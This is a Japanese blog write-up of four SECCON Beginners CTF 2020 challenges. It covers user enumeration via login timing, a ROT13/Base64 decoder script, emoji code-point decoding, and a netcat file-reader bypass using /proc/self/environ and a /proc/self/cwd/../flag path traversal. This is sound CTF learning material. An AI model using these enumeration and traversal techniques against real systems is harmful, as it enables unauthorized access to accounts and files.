SECCON Beginners CTF 2020に参加しました。
個人的な結果はWeb1問、Crypt1問、Misc1問+α。
去年はWeb1問、Reversing1問、Misc1問(Welcome除く)だったので、上達したのかしないのか...
問題ランクは"Beginner", "Easy", "Medium", "Hard"の4種類。
"Beginner"は全部解きたかったなぁ・・・。
さて、ホントの序盤しか解けませんでしたが、せっかくなのでWrite-upを書きます。
Web Spy (Beginner)
問題
As a spy, you are spying on the "ctf4b company".
You got the name-list of employees and the URL to the in-house web tool used by some of them.
Your task is to enumerate the employees who use this tool in order to make it available for social engineering.
併せて、app.py
とemployees.txt
というファイルが与えられます。
Go to challenge page
をクリックすると、以下の画面に遷移します。
ログイン試行して、このツールを使ってる従業員を突き止めなさい、ということのようです。
解法
ログイン試行
employees.txt
の一番上にある、Arthur
を使ってログインしてみます。
当然パスワードがわからないので、「Login failed, try agein.」と表示され、失敗します。
どうやらページのロード時間が出る仕組みのようです。
app.pyの確認
ソースの中にこんなコメントがあります。
# auth.calc_password_hash(salt, password) adds salt and performs stretching so many times.
# You know, it's really secure... isn't it? :-)
何度もSALTを付けてストレッチングしてパスワード強度上げてるよ!!!ってことらしいです。
先程の画面ではログイン試行すると、ロード時間が表示されていました。
実在するユーザーはソルト付きパスワードがあるから、ロード時間が長いってことでしょう。
全従業員の処理時間を確認
全従業員でログイン試行してみます。
Employee | TAT | Check |
---|---|---|
Arthur | 0.0002906 sec | |
Barbara | 0.0003179 sec | |
Christine | 0.0002883 sec | |
David | 0.0003477 sec | |
Elbert | 0.5346012 sec | ★ |
Franklin | 0.0002535 sec | |
George | 0.5338522 sec | ★ |
Harris | 0.0003005 sec | |
Ivan | 0.0003516 sec | |
Jane | 0.0003274 sec | |
Kevin | 0.0003345 sec | |
Lazarus | 0.6669512 sec | ★ |
Marc | 0.3120870 sec | ★ |
Nathan | 0.0002705 sec | |
Oliver | 0.0004385 sec | |
Paul | 0.0002842 sec | |
Quentin | 0.0003274 sec | |
Randolph | 0.0003133 sec | |
Scott | 0.0003194 sec | |
Tony | 0.5677608 sec | ★ |
Ulysses | 0.0003919 sec | |
Vincent | 0.0002489 sec | |
Wat | 0.0003337 sec | |
Ximena | 0.3177634 sec | ★ |
Yvonne | 0.3856804 sec | ★ |
Zalmon | 0.0003502 sec |
ターンアラウンドが長い人に★をつけました。
該当の7名をchallenge pageで該当者にチェックを入れるとflagゲットです。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Crypt R&B (Beginner)
問題
Do you like rhythm and blues?
併せて、r_and_b.zip
というファイルが与えられます。
展開すると、暗号化したスクリプトの一部problem.py
と、暗号化されたflagencoded_flag
が得られます。
解法
problem.py
を見てみると、一定のルールでROT13とBase64を使ったエンコードを繰り返しているようです。
処理の内容としては、
ROT13の場合は先頭に"R"を付与して、エンコード後の文字列を後ろに結合
Base64の場合は先頭に"B"を付与して、エンコード後の文字列を後ろに結合
という動きのようです。
その逆をすればflagが得られそうですね。
復号するプログラムを作ってみました。(最初は力技でCyberChefで手動で戻していったなんて言えない)
import sys
import base64
import codecs
format = 'ctf4b{'
input_file = sys.argv[1]
fp = open(input_file, 'r')
crypto = fp.read()
print('Target Crypto : ' + crypto)
# 先頭6文字が"ctf4b{"になったらbreak
while crypto[0:6] != format:
# 先頭が"B"の場合、Base64 Decode
if crypto[0] == "B":
crypto_byte = base64.b64decode(crypto[1:])
crypto = crypto_byte.decode("ascii")
print("Base64 Decode : " + crypto)
# 先頭が"R"の場合、ROT13 Decode
if crypto[0] == "R":
crypto = codecs.decode(crypto[1:],'rot13')
print("ROT13 Decode : " + crypto)
# 意味ないけど気持ち的に
flag = crypto
print()
print('Flag : ' + flag)
> python decrypt.py encoded_flag
Target Crypto : BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
Base64 Decode : BUk9IeDlWclF5RnB4dTVySEU0cUdJbEZSeVZvd09hSTB1NHJLSVJGVEFHRTFXU0FITVZIMXFsSEh1ZUV5RGtFMjl1R3pnV1p4eWVGVXFXSDBNWEgwQVdyUVNLcFJ1S24zV0VHMk1TWjNJWXBLeXdJeGpscEljbEhheWJFR1NPSDBNVkZHTVZaUjFoSmFjYXJScUhIM3FScndIMUZRT2FIUk1WSDJ1aVpUcGtGSHUxTTBxNk0xV2xGMUE1RTB5R0kwcVdMbUFrRTAxTEVHTjVGVU9ZcklxQVpUQTFFUnVXblNiakFKSVRIYXlLRElXQUF4RVdJMXFTb0g0NQ==
Base64 Decode : ROHx9VrQyFpxu5rHE4qGIlFRyVowOaI0u4rKIRFTAGE1WSAHMVH1qlHHueEyDkE29uGzgWZxyeFUqWH0MXH0AWrQSKpRuKn3WEG2MSZ3IYpKywIxjlpIclHaybEGSOH0MVFGMVZR1hJacarRqHH3qRrwH1FQOaHRMVH2uiZTpkFHu1M0q6M1WlF1A5E0yGI0qWLmAkE01LEGN5FUOYrIqAZTA1ERuWnSbjAJITHayKDIWAAxEWI1qSoH45
ROT13 Decode : BUk9IeDlSckh5eUR4dTVySElIbjBnV0h4eXVESGNTR1JFNUZIU1dyUUhrRlQxR29hTmtJMklrSHdJU0ZKU0NJeDFXcEhXa3JRT2ZFM3VLcXljVkwycVpyUnloRTFBU0ZISTZIME1uWnpneEdUU3dEejU1SDBnUEZIU2hvMGcxSUh1Z0d6Z1JyS1N5R0lTV0dJYzNxR01YRTA5SHBLeVdNMGN1REhJaFowNWVGUnlXQVJNNkRJV1dFbU45
Base64 Decode : ROHx9RrHyyDxu5rHIHn0gWHxyuDHcSGRE5FHSWrQHkFT1GoaNkI2IkHwISFJSCIx1WpHWkrQOfE3uKqycVL2qZrRyhE1ASFHI6H0MnZzgxGTSwDz55H0gPFHSho0g1IHugGzgRrKSyGISWGIc3qGMXE09HpKyWM0cuDHIhZ05eFRyWARM6DIWWEmN9
ROT13 Decode : BUk9EeUllQkh5eUVUa0tJUklhQUpFTER5SUFJeDUxSG1TbnAxV2VxUjVFSWFPVk1JcUJxeDBsR3hXdlpIY2dMeEluR1NFSUV6U0ZaMmtkTGFjQm55U0tCSUFub0t1VUhtTmtEeXFlTVFJTVp3dTZKR09UcXlJZ0phQUVuM05rSElJNEZ6QVJJRzA9
Base64 Decode : RODyIeBHyyETkKIRIaAJELDyIAIx51HmSnp1WeqR5EIaOVMIqBqx0lGxWvZHcgLxInGSEIEzSFZ2kdLacBnySKBIAnoKuUHmNkDyqeMQIMZwu6JGOTqyIgJaAEn3NkHII4FzARIG0=
ROT13 Decode : BQlVrOUllRGxXVEVnNWRYQlVNVk51UzFac1JrdE5RVnBIZVdOdk0yTkJiMUptYkVaTFRVRmFSM2xqYnpOalFXOVNabXhHUzAxQldrZDVZMjh6WTBGdlVtWnNRa3AxUVV4SmNEVT0=
Base64 Decode : BUk9IeDlWTEg5dXBUMVNuS1ZsRktNQVpHeWNvM2NBb1JmbEZLTUFaR3ljbzNjQW9SZmxGS01BWkd5Y28zY0FvUmZsQkp1QUxJcDU=
Base64 Decode : ROHx9VLH9upT1SnKVlFKMAZGyco3cAoRflFKMAZGyco3cAoRflFKMAZGyco3cAoRflBJuALIp5
ROT13 Decode : BUk9IYU9hcG1FaXIySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsySXZNMTlpb3pNbEsyOWhNYVc5
Base64 Decode : ROHaOapmEir2IvM19iozMlK2IvM19iozMlK2IvM19iozMlK29hMaW9
ROT13 Decode : BUnBnczRve2ViZ19vbmZyX2ViZ19vbmZyX2ViZ19vbmZyX29uZnJ9
Base64 Decode : Rpgs4o{ebg_onfr_ebg_onfr_ebg_onfr_onfr}
ROT13 Decode : ctf4b{rot_base_rot_base_rot_base_base}
Flag : ctf4b{rot_base_rot_base_rot_base_base}
解けました。
ctf4b{rot_base_rot_base_rot_base_base}
Misc emoemoencode (Easy)
問題
Do you know emo-emo-encode?
併せて、emoemoencode.txt
というファイルが与えられます。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
解法
絵文字はUnicodeだろうなと当たりをつけて、Charcodeを調べてみます。
CyberChefの"Tocharcode"を使用しました。いつもありがとう。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
↓
01f363 01f374 01f366 01f334 01f362 01f37b 01f373 01f374 01f365 01f367 01f361 01f36e 01f330 01f367 01f372 01f361 01f370 01f368 01f379 01f35f 01f362 01f379 01f35f 01f365 01f36d 01f330 01f330 01f330 01f330 01f330 01f330 01f36a 01f369 01f37d
フラグのお決まり部分"ctf4b{}"のCharcodeも調べてみます。
ctf4b{}
↓
63 74 66 34 62 7b 7d
見比べてみると、下2桁が一致していることがわかります。
では、すべての下2桁をとって、Fromcharcode
を適用してみます。
63746634627b73746567616e306772617068795f62795f656d3030303030306a697d
ctf4b{stegan0graphy_by_em000000ji}.
解けました。
ctf4b{stegan0graphy_by_em000000ji}
Misc readme (Easy)
この問題は、一人では解けませんでした。悔しい・・・
ヒントをチームメンバーにもらいました。
問題
nc readme.quals.beginners.seccon.jp 9712
併せて、readme.zip
というファイルが与えられます。
展開すると、server.py
が得られます。
netcatしてみましょう。
$ nc readme.quals.beginners.seccon.jp 9712
File: /hoge
[-] Not a file
何やらファイルのパスを入れると、応答があるプログラムのようです。
server.py
を見てみましょう。
/home/ctf/flag
に答えはあるけど、インプットしたパスにctf
が入っていると、"Path not allowed"と怒られる仕組みのようです。
"ctf"という文字列を使わずにどうアクセスするか、という問題ということですね。
解法
ヒントもらってから
/proc/self
を見ると現在実行しているプロセスの環境が調べられるというヒントをいただきました。
調べてみると他のCTFの過去問でも使われていたようですね。これは大変勉強になった。
リファレンスとしては、以下が分かりやすかったです。
Ubuntu Manpage: proc - プロセスの情報を含む擬似ファイルシステム_
というわけで、調べてみます。
手元のLinux環境でまずls -l /proc/self/
を実行して、どういったものがあるのかを見て、役に立ちそうなものの当たりをつけました。
/proc/self/cmdline
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cmdline
python3./server.py
server.pyはどこかのディレクトリから、相対パスで起動しているのがわかりました。
/proc/self/environ
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=20231SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=60.112.171.203SOCAT_PEERPORT=2621
$HOME
が/home/ctf
と分かりました。
これを使ったら何かできるのでは?と試行錯誤
$ nc readme.quals.beginners.seccon.jp 9712
File: $HOME/flag
[-] File not found
$ nc readme.quals.beginners.seccon.jp 9712
File: ~/flag
[-] File not found
環境変数はどうも使えなさそうです。
/proc/self/loginuid
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/loginuid
4294967295
ユーザーが分かりました。このユーザーはつなぎ直しても変わりませんでした。
ユーザーのホームディレクトリでいったらどうなるか試してみます。
$ nc readme.quals.beginners.seccon.jp 9712
File: /~4294967295/flag
[-] File not found
やっぱり環境変数はダメでした。
/proc/self/cwd
cwdはプロセスがカレントワーキングディレクトリとして利用しているディレクトリへのシンボリックリンクとのことです。
$HOME
が/home/ctf/
だったこともあり、その辺で実行していることも考えられそうです。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/flag
[-] File not found
$HOME
直下ではないようです。
flagがあるディレクトリかなと試してみます。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
ビンゴでした。
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
(追記)
ヒントいただいた方から補足もらいました。
/proc/self/environ
の中にPWD=/home/ctf/server
がありました。
それが分かっていれば、すぐに/proc/self/cwd/../flag
が導けますね。
完全に見落としてました。
一人で試してダメだったやつ(読み飛ばしていいと思います)
色々やって結局ダメでしたが、記録として。
アホっぽいのもありますが多めに見てください笑
インプットした結果がどう処理されてるのか知りたかったので、ローカルでserver.py
を動かしたんですが、ncで動かしたときとで動作が違うことがありました。一体なんなんでしょう。
ローカルだと文字列括らないと怒られるし、動作結果が違うのもあった。
# Charcode
File: 0x2f 0x68 0x6f 0x6d 0x65 0x2f 0x63 0x74 0x66 0x2f 0x66 0x6c 0x61 0x67
[-] File not found
# Charcodeスペース詰め
File: 0x2f0x680x6f0x6d0x650x2f0x630x740x660x2f0x660x6c0x610x67
[-] File not found
# To HEX
File: \x2f\x68\x6f\x6d\x65\x2f\x63\x74\x66\x2f\x66\x6c\x61\x67
[-] File not found
# To HEX ローカルだとこうなる(2行目はprint文いれたもの)
$ python server.py
File: '\x2f\x68\x6f\x6d\x65\x2f\x63\x74\x66\x2f\x66\x6c\x61\x67'
/home/ctf/flag
[-] Path not allowed
# ダブルクォートでくくってみる
File: "/""h""o""m""e""/""c""t""f""/""f""l""a""g"
[-] File not found
# シングルクォートでくくってみる(これもローカルだと"Path not allowed"になる)
File: '/''h''o''m''e''/''c''t''f''/''f''l''a''g'
[-] File not found
# Charcode変換して、渡したいパスになるやつ(これもローカルだと(ry)
File: chr(0x2f)+chr(0x68)+chr(0x6f)+chr(0x6d)+chr(0x65)+chr(0x2f)+chr(0x63)+chr(0x74)+chr(0x66)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)
[-] File not found
以上です。勉強が足りませんね。
やっぱりpicoCTFをやるかなぁ。
# "mask"はgdbで上手くbreakpoint張れなかったのは何だったのか・・・
# あれを表層解析だけでやるのは私には無理です。